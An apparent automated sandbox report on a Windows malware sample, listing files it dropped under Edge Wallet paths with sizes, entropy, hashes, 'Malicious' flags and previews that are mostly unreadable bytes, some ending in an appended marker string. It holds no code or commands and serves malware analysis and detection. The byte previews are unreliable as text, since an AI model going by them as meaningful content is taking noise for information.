Preview:	windoIrfr.n.O4./..T......B.......FW.......2g....e./`'_.j.0....e7.d...g.w/.2Q.\|+ .RR9...&O...9].._+..c......13!..%....S..?.r...o.h.H.y-s5......!.....3..mT....u `....g..."I...P...@iU?.".AYX.i.V.`.a.a..`r.e};..R.dn~v.\|C,...P[1....v.Wl...)......1...\|...k..f.\|e....#.W..a..+x`.~<....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\load-ec-i18n.bundle.js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	16498
Entropy (8bit):	7.98658884265558
Encrypted:	false
SSDEEP:	384:qQEwUFZeWudPQzcKrZyk3PadJj0jvqIMZFhxRv9WV:qQX9QQ+ZjVjyNZTjVWV
MD5:	33DA0B8EA6869229BCA13D3E12B50E16
SHA1:	FD746175EA2ECDE4564948978DA4F96B03CF97BF
SHA-256:	53F9F9CC41225C1E971506B1CB844FE65AEECE50980C8C5E206D232052E3FF6B
SHA-512:	2EAC88AF8D8C0D1A4150BBC2A195B508383EBC176BEEBA7942C16529A7A3078F3A251540E52C7CC260DC702136F204B4951D58CE41D16F125578DE5F2BFCCE79
Malicious:	false
Preview:	(()=>....;q.z`..f.e..>n.b.....+mv.0....Z.........J..K>....Q.O.I.,.%..fn......,.I]..E...$...l.p.w?...IZ....j}....f.kMb...f\.^5...........t.....'......d..........S[........)z.........P..g..M.g..}...d.+..lD....vD...}".w...8P!".....@..oj.9.OWj(/.,...q.Dwt......X.$.!...i....o....>....YWS...3%.&R.>..~.h..+..)...$....+.].%.t.#......T5.....q{J?...&].....`..$..{-.l.1@..'.v....#~KJ...C?..<..:.uy.>u\|.,..2.d........oM9.E......4.H5._...2'G..`....Y...@u?C.z.7.._b#..ODIJ..#.Z...Mc....k5(.Lz..........f.S.n.V...Y.~].;..z....1..f/h.....t.&..WD.ek.Y..1........}^.{I^..D5......g..3.#.L?.!.._md.)...T.o.l..G..LVq..e..k..j..}.&k0I.....\`.3..9I.....(bn[Vqa......~..\^.\.E..\..H.....M<.....p...,46yI..b....F6O..\.m........y.X.}..%E..U.U$.".........Uq.9..>T...O.6S$.........qB=.nj...;!.....l.Pg.e.....Cc...P......>..U...2..'.....W..ZzRS...q.]@xh.F.=*.f.O.....<'p..E.o9i....aa...:...>.#Pj...G..t....>...H.5.>...vT\|D.e..OD.]W..\.\.I`....W..:,.V..l34..a

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.bundle.js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1394997
Entropy (8bit):	6.146286705355309
Encrypted:	false
SSDEEP:	24576:HF+2SeoE+2Fx2Mr+Y2mHDvpttZwJbhTJrSK4VPYOI+AmOkmMOkxhdlrw+QsjZIQt:HFRStT2Fx2MrPbDvpttZwJbhTJrSK4VD
MD5:	0149015876AD819391F4F0E4D64F8DA8
SHA1:	4971131EAC95A469FA5FAFECF6CD27EB177F1D55
SHA-256:	2D990C07CCF633158B5E7D7093F23B9C501294ABAB80240497115371C9791EA4
SHA-512:	5D470D2458146733402958EDD7BC68DD37EFDDD3149CE04915605318A982C64B44E45728C40AE70112D7705795748A55C7465FDE0922C566DC085DF2E5C962F0
Malicious:	false
Preview:	/! F..p.....8G........s..<1.8.....m.<].H....T,..#....i....Y..np\.?6?WD....,..b0.~.I...s...)..9..(/...K......`3hsx...[&.k.0.... .8..3ZT..^oc.c+.NS0...."Cn...W..G..H..'..rK..Q6...-q;$s2^...8{..T..h.+....:~..N.........X&3.}..sv".....g[X..nP..'y..+>T...].>/...._......2....]N..."...m...,.N...n..G..\..xY..V.b...$..Z..%[..^......=]e#.i.X......\|\|lt..cr....j?..z.#..Rlc...Gl.a~.......J..(.x......".N...8.'.....mn..abc.g5...1..........gn...c.u..@....W.>....q...\.8uu.?....':R...^.K.....'.m"....M.-..5..E..1B.F.+... ...GeB&..i........{X_..].....ma..:..fb...UX....0.....:^.:...1.&.O5in.:]... ..$....0[w....'5.h"..2..Ry......C.#..Ws......}.aI._..y)...C.3...7....{..Z......1Y=S.3..4-\|.BL.F!.Q8to.r2..%".ux...yMy..Y.....O.sNF.m.<..WT.-R....w.o..%n.T.S.I.<,WY....Pw.e.U.Y.^.....4c...........r.s.Ee~.N.5.E.r..\....roj}G_.....N.....x."..W{..../g.."..[..X...T........P.t.r\V}Vy\t......9y.]...o.:j....C.\|..$..8j....,.......I.....}.....H.y>....Hf.}.......<..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.bundle.js.LICENSE.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2128
Entropy (8bit):	7.911358461153965
Encrypted:	false
SSDEEP:	48:Da26Aiwj42RZ89lsLKQhEbfJVtMH/zccStzWbqMFSoT727yD:OTA4EPLtabJg/zR6zWbYr7a
MD5:	86E8A78033E048EB284F213D76BA5460
SHA1:	FFF94722D20616A530D566A8DADF0A22BA77E737
SHA-256:	943463DA6996B484755E043E096A0190AD3A8F1BC4F082731545366BAF01EFD2
SHA-512:	6E6B0FF80ED4F689B866BA12E46DEC9FE53C690E9B5DA12B7A6DCCDFB18E8F572368139ECD05C57BA844450A7D6595DB997B4A4860F600173F168C3DC53357F7
Malicious:	false
Preview:	/.ob....].i..k{:::.w.......p...+.1#...e,p .z..L...`&..R..,....4...,,....N.%...\|g'.....y.s...v..w..9K.&.-.....w:P...7_..S.m..U...b....V#CA....O...Jf.%_..&J..(...;]....y.@...;QQ.R.n.}..&cn.s.........s.3..A8..rO.bJ....AJy.h......S./i.X.... tg..O....w...."..<...(f....D4"..\|...Zi.j.R....h./.mz.....q....lT.M..][.F..TE!.Q..!.A...R.2#...8P.... l<Y'K......L...g./8Ol..c.]{...}&.F.S.S1_u.......&..F......Ap...X..w..........\...?h5.%.Z..Nd.y...$X.6w..Y2..'.7.)V.%?..!y.N`.@...+.^..Fg=+..!.5:b..q.(.Y] .m...1.I%0....+a......V.VW..a..Z7...l3J.N.Cb..p...xx.......z...F..~.2j)..,...H..l..t ..,.+wE..[...yv....M..m...!G..Q...0:.......Qg...F(<."k....O~..d..S.{.R#./uZ......rT...SO.S.Y.:..d...M.C...iA\|.....I.2....7_.T~."...0s.....lx[.3.!e.p..I#S....rZ.c....6.....Nj....I_;...I.......u..AhS...r.\.'.PP@.t.....\|v\|.0.....}N.).@..../1_.1.EIl.........`).......L..eh.(..\..@^...j.k.F...}.(.D.a..^.=....A....TJ.z@..'J.V..6......m3x.V...3vub......1..Q......:......w.d]..%*

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.html

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2212
Entropy (8bit):	7.891172293675967
Encrypted:	false
SSDEEP:	48:cYaS9FN3YffuhT6Nm6+DBzMu5vfOVEokh0COWBn6kIsttNwUyD:3RkmqN+NzMSfmE50C3BI2a
MD5:	7F7716BED4B267122F4109C2CD760216
SHA1:	55EFE0E0BA576B6C7547D58551D1B514A0C7E1FA
SHA-256:	C7D5BFC686002116D4914C1343848A57CA3D3B98785E54940ECA139961A5AA03
SHA-512:	5D8767A6ED7FC643B586162D243304F0EC832139347ABB954FADAD086957905E053F9FE5E2D9FF7417A438A28D59CCF701D056D32991C7E437DF80BB6A1627C0
Malicious:	false
Preview:	<!doc....,......t. ..#.JP3.`..T...T\|...JO.`y"h...y...d_.)wNW.i..-9....s.....lS.$..GU.!)11.vJo..NR\.(h..SoV.feHg.K..%:X.8.cs..R;.3..k....R.~...a..D.D..A:....\|..)../.\|FA..6......!..B.<a..'....X.+.y#.a.e27IO..%..4t...N:..t.....X.O<I...Lq...4.y y.V....8....... Ez... 3....n...y...........l1...i....i...H.......&..... AM[......`.'...n.P........-O.......bP.UJ.55..S.~..E..Y.4w..nSa.....Sgc...10...S.?.A.g.$.<v.p&....#...s.r.{.Pd..Z..D..@F>........2.c;.M.../m.......H6p..?^..Cb.C.W...#..g.-->.d.....J........&afE.0z_.>mm.].2.,,N_+bY.$..dF....@qV,.b.,7.1..TYL....y...MT/..6...h....R.om....GX4....b..@.<..A`.J.......b.o..NP..O.U.7..K.U!.Oy.k.a1Ja.......cTc..l.....I........8......:.)../.B......3.L.2... j..rDy@a.I.R.Cm\.U...C..^.. .j..I>.W.. W.=..H....v#..BV.a......c.....mJ.\|@XI.p....w.....]......T.F/+x^%._...b.i.k.s.Rf.5.Z.O.._....$...n5.].....H..:]...!...L.<.R...wxl.V..yV.1.2.?".j..n. /....E..x....[.C&......Ao!.]....l..?.a....~CbJ

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\bnpl\bnpl.bundle.js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	843227
Entropy (8bit):	6.393087609433436
Encrypted:	false
SSDEEP:	24576:DR+imIuy+VlmTu/xTC7XVq9zYFQxMjh52kJSe3JEkJT2jucyjfQHe3Je:D1mIuyCH/xTiXs9zYFQxMjh52kJSe3JQ
MD5:	491F87DF443235AB8693592E352CC789
SHA1:	E017CCB3C033F60BF084B8FAFF474A8CA1EA6CCA
SHA-256:	3B5B125CEF8A7D9E5994078CD6AA69D4FEE518C1FB9E583EEA3AED56CE3B17D4
SHA-512:	96FB0EFBC2E0752F806A2D3A6B91F07571422670A2CCC3EDD0B925F90FA532414338FF2131F56691AE3B581B8C2B9E2BF154D7E1DE7F24CA22A145225B050029
Malicious:	false
Preview:	/! F.:..Do!2z...=..dQd.c..m...3...(F.``...:.'o^....]....+q.........T..~...'.Y.!.:.E....".Am..k..2.,..:.P6...c......!.L....9. ..Y...N..?xe.CZ..&....h......p...O/.&.(...,..=</.:<..e.%.'..Xgx...i.3.C.w.T.KxQ?.[?.s..F.....u..(.\o....oK2.........ej..i.y..r?{..f-.I1..n.Ap.....v.y.u...o..L..5...HTh-..?..y.v.3...)...5.....k@..3cPA..:..J..t...B....s......~%....e..Z6.....S/.,...7.N....se....$.p...E.u........_SSltW...L...........]M.z..>f?...U=7.....!..~.G..nU6..I...a....u..].d.....M..Z...\t.O.....n..A.x..4#....W.......a..)..IO=..'<n.N.....}".b- ..e:..:...c..$/..(.bH...;.ze....=p....k....Q..<x..V./A.4...h ?..fJ'....;.g...'AL..>d......f.....#7e;(.....s.)9....y.....K.L....w$..j...g..m.K@..#..[..>......Nc.&. ..........g.K.Jk.jO.fO^..........+Av...............l.o...&.....UM.j..h.\.....!..h.#....>.w...].CS.*2...K.0.-.{....o(....6.yU...b.g.,....`...p..F.........Z..6..lk....q...,N.d8.^@...lI....=(5..iT.D.&..L.........X.......2.....e.dN'.yy..y.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\bnpl\bnpl.bundle.js.LICENSE.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2088
Entropy (8bit):	7.901512380322633
Encrypted:	false
SSDEEP:	48:6ug6e4YJhPWTzgJogvjIO51PfEZnuDtnRoODV4dlLr28s5D9L8yD:6TRJAzgJogvj5fKatn6WV4lH3s5D9L8a
MD5:	301B7A3D7C83E1897D506EFADFCC2E62
SHA1:	0BFD7807A3BAE7E607D462A7C1AD1421C9D83E7A
SHA-256:	B18FBE42BB447F270FCAD45C47DF83D23DF7B527E748F77FDDCE4034A3AF3810
SHA-512:	0BBE3BCC910B85E8CED7EA97238870D1F6E333701C60ADA08437D27568951608EECDC3AE3F1FADA3D36EBEF419FDDC14D330498FD55FEC0D61F27AF6558CDA8A
Malicious:	false
Preview:	/.ob3.p.r..e.X....a.#...$f..n.....z.A.n...{.7.....}+...r.~....\...O...s...X...\...C;.f.ov~....M.p..Lh..R.t..L....:.)...e.s4..>;.cK..@`...kF..aq...'.B~......8..?<L!....c...M#..I.Cx.k..-.......$.x.....D....hR.........S..p...)..;.U.4.#o.}....G7.. .t.J..}.+..S.+.-{}IS...l.A....L.........J......"...~.E.4..i.....a...r.q.ha.[.l'.iZ......LR.%.$?....E..=.!...QXI."c..p.}..........I.?.6..7....}.S]...&t..b....)...T.7wW.RG\|....v.g.@Z.?.E..U'.7[_6...xG`.#....A...N?.......y.2.q..I.!Z.....\R...\:...C1....kg.v'..g{..or.0?I.....Y.S..S},.-.[.]./......[C..@p..x.Y.....Hz;6....B....j...p.a.....t..X.........._.. ,-..('..../Nl.Yd....).?.............N...y..[.[w.L....n.6..?f/...({.W..o...?.2.c,l..Fj_/.5:.B..M.....w..s....h!C.O.?.<......jKZncz.$....L.\|.G...c....0N.....1-s. ;..?......Dv_A.Y....bG.(K.v.0.m.yaM..h....a....obY...sM.5...%L...........\|c#wIg....H_k.L....H..+.L..P&...Z.+y..~..p.'..s.p..{2..Om.Bhi.......zF.....{..E.......4......._.P%...~%

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\bnpl\bnpl.html

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.902215787400762
Encrypted:	false
SSDEEP:	48:5MGNG8+Cps0RmbygazFg5EKXLMVJcgsHpTekNIMdAIyD:aGNz+r06ygN5PuHOpCkLJa
MD5:	EA560045E7A51197409C3E5D96BAAECB
SHA1:	C0DF98AFC89122C12FB7123E0D96BC4D95D6E2F9
SHA-256:	A6C036F1CAD3EFAF63310E5E9FF999B446F4A683CC697A1A6206BC85AC89F93A
SHA-512:	6ACCC143E851BC79401D7AC867CE2758734DE2AB1A0B131D4A19B8110E3640ED23735F46F632968FA7C45DB990836420AED97D3F93F990B5C6B6CC961F83534E
Malicious:	false
Preview:	<!doc....4]..@.m...Sh.C..<.9=jtP......B..i....o...v.l...Q.0.....>..4....X~......T...rfb.\|.A.. ...~....Q.ZPQ/....g.E..k.T.+..(._?.....I.#...f..3 ez(.S...O..w..u...f.1.8.E&.....^g.>..v..N).G..s.).S..^O.4h.jJ.!. `?Z.P...i...U.. .....>..n..._.}.....I.....5P.<7&....@..,w@....2.(....'Do...w...7.m.c...!..C..i...Ft..8\8./6..}zH.K...L..{.../.....~...).yJ.\.0..^......l...&!.N....%..HO...C.}... .........-`.+..Zo .p ...=i$2".yY+..h7.n$..".+.7.pa=`..>=r..z.....?.%_1..OD.C...`\.j.....[..S2.....9....5.t...a...g.:;.`.T.H{...I..~iB....v,.gp.FyJ..YaX.........#....y...DF/4......0iIN...n....].....A..Y.s#.\|t......;.......y......q.1).l......!u....u~jg.....qk.C....x.K,;_.Q...U..}Tx...eAPz;G.!..5.r_..+..Bl...>...........[.C....J.L.Vp.q..P.Z....zhh..YU.....6.F..J.....L...@. t...BR...."......e.v.AXBI]..4L.U<..8..>..L......1U.......g.0.gk......z'oq.0rG9G#6.pH.'-V.....&..X..t.....Z.No..3...EQ..ofIp........%..........6.G!..[.2-...TW.....Y).E:?\X.p.r....Qi.g.]:...f.;....:..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\ar\strings.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	18629
Entropy (8bit):	7.988599237584829
Encrypted:	false
SSDEEP:	384:ZVKDZ6M2G6LAgZ1HXNKLnHkhIeVy6hlavat/zxpso+Cds95wg:ZV2AM2zEAXgLnYrVjhYatsodd4
MD5:	BE79A10C1F74A4C1C2CC94F08B36ADDE
SHA1:	91C66FAE9CDDEE8E83174CD4CB86E1CEA1D6F977
SHA-256:	4A085277F2DE850C6327B0324EEEF8FC455822D42A8087F682F092B564401BC4
SHA-512:	4E9967901B5BA6B03145B9D492DE16AE2F16E7B40E57D5D941965BCF76F0E3435350D29AC286FEFF6D3BFE8F3DC3FEBF288A14915129404AD6D6C5FA2D5BFB93
Malicious:	false
Preview:	{. "q.O.?....nd..4.........<...)W..........."d.}._pW...}..E....sM.#W.!.jOo.6....)...7..nY.....&..4.........{d.........=e=5!.,.p.2...~E'zK.....q... g0.p.^...+z\..8.'8....[...+..[..d.....i..(}k.....7O{..2z.uo.%........lX.Q;........50..ig....4kZ.^...rL.[.....E...Z.0#..K...<Mx4L .ZJ....~KxN.......v.....@..{..{L...N...lp..y.d.d.....>5F@...w........u.k...D....~....+.`..-..1K!\Xg&...+l.....E.Z.1.%.}.n....a...>.r...V.}.{T...l.I.....A{....b.C..Z.?.oL.C.../.g\..~..x..Q..j../.....Up..vJC.M..C....e....s`....4.........1..x&.>....DQ`...e..........j..Vv..yW.....e....kh....#.....V..C..w.b...rF..0\....f...r.....0R...R.....$.8.7.}x.7..(9.l2v.`...p;Pe..<.95Fa..?.tdQ..i*?3.H(+..........S.....s9..m......=..+V~...E?.R.5i......%.=..vrlH....hP...U.T::..Gw-.f........6.......G..X.......C.R....@s,..1.....x,.0....Z.T+..p/o].\|U...I.&...y..A>..j..L........3......Z....#8.8.l.....z.he)......8....2..'...yr.'54-.xWG}..k.....J=E..]...0.e..c.hX..h..v..x.....B.h.HB8Z..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\de\strings.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	15335
Entropy (8bit):	7.989942999626161
Encrypted:	false
SSDEEP:	384:P+ODBecQj5L9vagkCe/5NhqhiATK0dKd/ZYWv2QpwZ:VDBebzvlkCUnym0dWtv23Z
MD5:	92388A3446DB8E01EAC284FACCC57B93
SHA1:	6D88FF761CA14B7E3CB49ADD25FE5598F63A7D0F
SHA-256:	5B58378934D592CA17D56C4E3A13CCE9432C9000F17B0BEFB590E57BBEE2C751
SHA-512:	404D85ABBBFEFEB1992D5452A9522CF9214159418D13A72E73019AEF8FA455F90E654D449A61A8E2BF60DD5479A4AB628ACF907AA275948F858511061826245F
Malicious:	false
Preview:	{. "...H..X..S6.K9....O.....;........T&..3T.M..q....]...W.[..r\|N[... .B[.Q..N=x._x.....~/..s....8.`.v...h.'.`.1....K:.I).Ha.(.$.e......~.l@,......U].i.....q\....~O.j...7s#S...f.%.P..$4..M.B)....!:.5`}rS......e83.....j3N.....{..L.U.@..........J...KV.g....t[\|>.R.x.>....E...F...\|bj.....K.J..9.c....JT..i......%nc`..S#..H.F>..#UU^..P.T.pb.]o..I8.t.....i.+.o]Ki...8KMb....`.......P.)s^&..........y.p;Uo.Gt.j %.+b.k.....'..!i...R...#..sE.dj......_...O..k.<9L..U&.`.d.k..&...N...@.E...1d?...!...S..g.ma...D.Y.=...Ng{.LX.....W./..n_.%.:.'..*a.."iSz..@O.n.D..>...tXLQwq.....9...(A...."UN..[Q`/\|..V.........Ls~.3+.Qd.}2..!..../+..x...`......<s.isH...l....y..Z...>..R.S.O.j.Tm....".w......c..-......_\|.0`.m..if.Us..z.....-...m6m.qP.5............L~.d..(eMw.%.I..w.:...h1..$..pvfF...c^...d3.f<..yi-BvS.6..{.\.B$.$.s.t.9...Ggh.Jv x....u._2?r..LS..z.)...}..B.....$..y..Qi..U.F.~.)...{'.=X...7)0C.L.....T..%.-U;K\|Pd:9.X..am.'/..P:...L<..\.O...u.?X

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\README.md

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	420
Entropy (8bit):	7.456560934455293
Encrypted:	false
SSDEEP:	12:/fJtPZeGoEiWKjpgwuXIBiu6v/oqw1cii9a:XJnRiWKnhR6vw1bD
MD5:	C6DD9839C185087A8767F8C633444558
SHA1:	55C225C5AC9B31B56FC065E28B6354B32E6F22E8
SHA-256:	512D03591B6C489D1C60B3AAAD5245349BCF5C63FE1BC907D9D4E9BD7AD06373
SHA-512:	FA9B326E9787ED32AD2224032838C7449D870D7C7EE2709CB1ED820C0A93E01715FF837476624D6604199AC44A4D39F9DBECFD4DBC7255E821580994D6EC1C30
Malicious:	false
Preview:	# Dis...%..e......r,...G..`......J.....%.k,CDl9.B.D..d.j......'$o..H.G.\|.b[U.."...e_a.:8.}..T....Q...R..>...e.f...pF.7 ...3..z.9..E.C....+}.O..........'.."..#U...(.i.c...g.A.g.".........+y..oO.9..y......O...7b7..H.......".l..4{.0.2...oL.{U&..L.%d.B.....K.Q....6.....\|.......NI.@.\|0......$./....k....+..k.*.a.....M....=...TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\super_coupon.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	21010
Entropy (8bit):	7.991840851434105
Encrypted:	true
SSDEEP:	384:KSp5S8xrus4CeaBPQHFWO9eJi6U2pq7vbahagT35D4DpR8UFSagkzl:55lrh4CeaB48dJ2287CagT5NUwarJ
MD5:	B3CEB0D5E617E1661D821B501BD78EE2
SHA1:	6747A1D328ED866BAB916FDFECB7F262A1B7B0D5
SHA-256:	0FC537B79D6D975672C7C6606F0DD3F3E875980160AE9E923B113316D6091CE0
SHA-512:	2C8EA7E2CC93DC0707E5739E6C0DFF8F03B5144B7C39850D94FE991A58B869471E012576E068883E33FE8477B81C761C0F7626EE85444FC0BF9ED48D636D504B
Malicious:	true
Preview:	{. ..B....R.vI.}.g..O&$.#...^r.+l..MIJ.....v.d...\|..L.0..-..Y....Y.9.......&NF.....'Bn......MD..R.....8E.@..~.w$. .8....uQ.f.Xu.Q.D.KX`....m......;M..E..>.&..<.w.....dL.q...9..(.....5.....v.....Aw.]....;v.w.&w..Wm\...=-..O....a..0.."B.>,..Y~4i..A.f...7..2i..]..d..~...}...5. ...q.>.v...,..N..%....!.0:Q..6...V...:. .z.4..GJ.+V.6WW.....A....{.Ir].F.[21..!...4...a^..,....Nl.w.O..\|....}..&....(..r...A..AO3...l.K..#..(.%...T......../.oY.w.<`v...~..4.#....F.f.......t.B..rB.Q.Q..].i3B8r.."..d.......6:q...;K.[[H... C.N= H.bV.oY.~.E..o.F.w.$..a6....Y#...Y~)......+.....Bvkj...=W.1.n.F#..~g.l....`{..)x"...9../..%...{...Y1....x....U..d[.U.@..:.'O...>..x......o.....'....J...[:..lX<r$.1.X....J..s....8.`".)n3..!Ei......K.....(..V[..KsBN...X$.bj.......t.}.s...a~lK..E......h.../.U.Qb5Z.X.V.Z....:.`&.ts...b.m..{.^.c..0...e....trB...?.p......6_.9..s...(h.....1n......;;....:{..Q.l...uO.d...._N.</.{.,......T.b1.z..ms........*%...;2..^\|_.@+@.........{

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-checkout-eligible-sites-pre-stable.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	148627
Entropy (8bit):	7.998686011927422
Encrypted:	true
SSDEEP:	3072:QP4tR6K8iylP6sBdxWUKjLlR6nB2EHa7SYBNeOCdE3VsPF3dNy0f:QP3K8RP6onBF67SYBQtdE3Vs93q0f
MD5:	CD5EDBF3E6E4AE6CC7C16D9768FA36D0
SHA1:	A349B0B97A8A63D242BCA59DED1458CC4582D14D
SHA-256:	D36584F5438DC895344C8A41C1FCF467C30E837A6A4D61B3BFFB95A29EA4A19E
SHA-512:	3CBDB0C832D1A62295B21C9513309A3776C27A7D57F078615E8BDC195A87BE21844140C257CEF4B46BDFEB2424C6325E1EE50D386F8B24C339160D775701A3F1
Malicious:	true
Preview:	{. .{..'i)......s4....)P....R.+.;J..~.......8....lx?t..i.>s=....h.NT....&..x1.QP...!.O....`.J.5<...&K..y..uN.....4..........$.G$.d..........S4..De....M....A...>.L.^.+...C)....}.3..f!Yf$. h]}.I0..g...?,..{..^.9.........5.T.....`.-...+...}.%.(.kS.!^....w..%EI..-N..S...ao...>..J^\..lB.... ;..[/..B[e..N.."...K..Ze......+`..-....U..P.O..X..&,..H.f Ux..L...%.X-.jD.'...YP......L.... ...%....y{.....4.a-..f.U....}.!'.?a...\....C..N.h..o.:...K/u.G..bn}.adc.@..{..1....!U.bJ9..C.P...4.a.E{..y...f......HH..J-.\....L...d.y.a....I.QH8U....b.1..^..\|2.Syit.ZZz8J7..9K..x....V!..3bc+.W.4Y}.X.....#.(.r.5.14....A.....I..Yx$..1...l10.X..#T...:..v..U......v.A..^O..%..yD.U......Q.+v..,.T..}3&........N....M..J..5....S...o...eo...\t.7[v.^...2?(.*.........u.......)...J.5#F.......T.3...Rb9...1M.lE...V.!P.Z.CL.}.....T_....H"%7.ahB."....=Y.nP.M..Bv.M..........QVS.......#P.?.L&.M......k.5........_..z...~.<..$^.P+.._...Y.-/Uo.....m..=..MnS-T..^...>...e.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-checkout-eligible-sites.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	511701
Entropy (8bit):	6.018177633811838
Encrypted:	false
SSDEEP:	6144:l7sAHzO6FSpxmb0Tc4eBmWH3+klkfzTOJHYUbHG+FZ8QTHNGs5AeCV:l7RO6F6xmAt06bfoGQ8+eeW
MD5:	A843D8D7BBBAE23FD2A295EA9A939262
SHA1:	8F4331E86136EB0797361864A99BABF939C846DC
SHA-256:	45B0CCA83D85ECD0F63E65124D434C3864EF46D1C1C3B1D547F17FFC7BD2819F
SHA-512:	7DCBBDD216216719EB976D4EE5A749CCC11F85535F7C6AE8F78FA386FCE76AF68EDD73C38ADD646D47E9ED9DC72C035EB9550639C2553AE051513C74BD0CE076
Malicious:	false
Preview:	{. ...hf...c.eC.U7H....\.x....g;....A.Z....fP..f......,+..uP....@....g.T_-.....3V.T...Og..\|e...54..m..\.+.p..Q\|.....\.......>..\|b4jSo..!..Oc.d.....m....c.8...`..%2..D..u...`.$J(-...+...V=L].E..R..o..p...."....fo3......%..._(..;....y..`...F.9W.y$i..c%$..em=.aec`^e.i..m'....M...D)..@........7...0TL4h.'..m..O-.'..r.W.....L(.....eCMO..H.r!%.+..k5.[....=:...kZK.w,....j.m.....E....T.=q.Y..'.8...b._..4.;....#k.&..r.5...v..J...k.gz..3ph.fM.....b7$........q..........a....g.1d!...pc..%.N+.b.,.J.....#.....T..I......8...Ed...J..c.l..1...M.$D...u.jog..i........6I.w.8..X.)...@.-.m.B.9iy.fE...c..u..8.d....%...vC."..L..!..F..T.J.\|).%.z..63k.F.-[K.-.hY.s.9m..{.$....v..0..O...EtIj... \."t.........!P.G..M~...c.YU..XqK.T>...N.}..POe.sA.........d.j.e...6.V_};&..Y.H..K..$. .rR.d...E.+...B>..4Z{..j.ZX....C..dc.].$..:.{..w..GN..+..EAH..R..ak.0..U....ZF..v)..hn..G./......3.+k.).....gS...R..t...Z&.s..s;......E.!l...&.....!aO.j.D.R"..5.#p.#m"5X....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-notification-config.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1060
Entropy (8bit):	7.792659848547158
Encrypted:	false
SSDEEP:	24:WycDpNqa1Kc9ztUOD4D+1ouUJwKLiFAlfrw1bD:Wy6NlKgzGaoJw4mAlzyD
MD5:	5FC693C4F34371F510DCFA3EAFAE5E4E
SHA1:	61CE0D6AEF27B6B940B1F50A28997E394356BB74
SHA-256:	854560804075C119355471B803CB474A6E5808807A8BCEE4FFBEEB13E4252E6F
SHA-512:	F71E0A3B309714203B8EC61D20822055ED9AB79CED79F4F9937588962EBD950E3C54E0598D007F6FE78EF8CD636D590D0F54E3574EFCEDCA1F640B9AA477EFEB
Malicious:	false
Preview:	{. "..s..'.?0..1M...s.@.....Q...]..p75.....@.u...I-.F...v] .l.7...j.......H.s#(?.?..k's..^h.{..a.6N....`.J..f.;.t..4.!.;..h......z...~........#g........ Jz..l............&r3wU0.....q=...c)t..n.=.....{!...&G..n..s.......g.)....K.\c.. s._.!..OFx....p..kX.B......G,k..\|e.q......%.v....;X.D.....9.9....l."(..2.K="f..fz..Eo....c7..f...o=.\|-.-..U..`W,.f.....W......H.El.......&n...)s...x.\|.N.:.....M6...~._..g$XZ..!...y..2.........wV.P.L..K.au.{\|:....c"h4o..W....M&:....&.l._`.-.Jn....3l..."D...\|t.`K:0.V...78.X..A'.6............?.v....[....[......@1..$.[ @g....m..'...i<Hq..%.Y.pF.aS-.:.>..(.......rn.L.i.o}..5....(..2.sn.n.h).....g....=@.....0..........KQ.\|............6.Ts..{...?.VNh"<.\ ...Z.E~K~..g...U0Y.:..S(M..J.....e...."..vI.n`.....j.w.Z.xj f.}......+.]x..Cw.O.C0..^5.@f.C.z@[..M......B.lc..u.>.B....\......'.<...2@.w;2.ar\|...;..\...1.Zo..k&4...\|.......04.3...yv!./c1..BIFX...J..trR^h..1.......F. 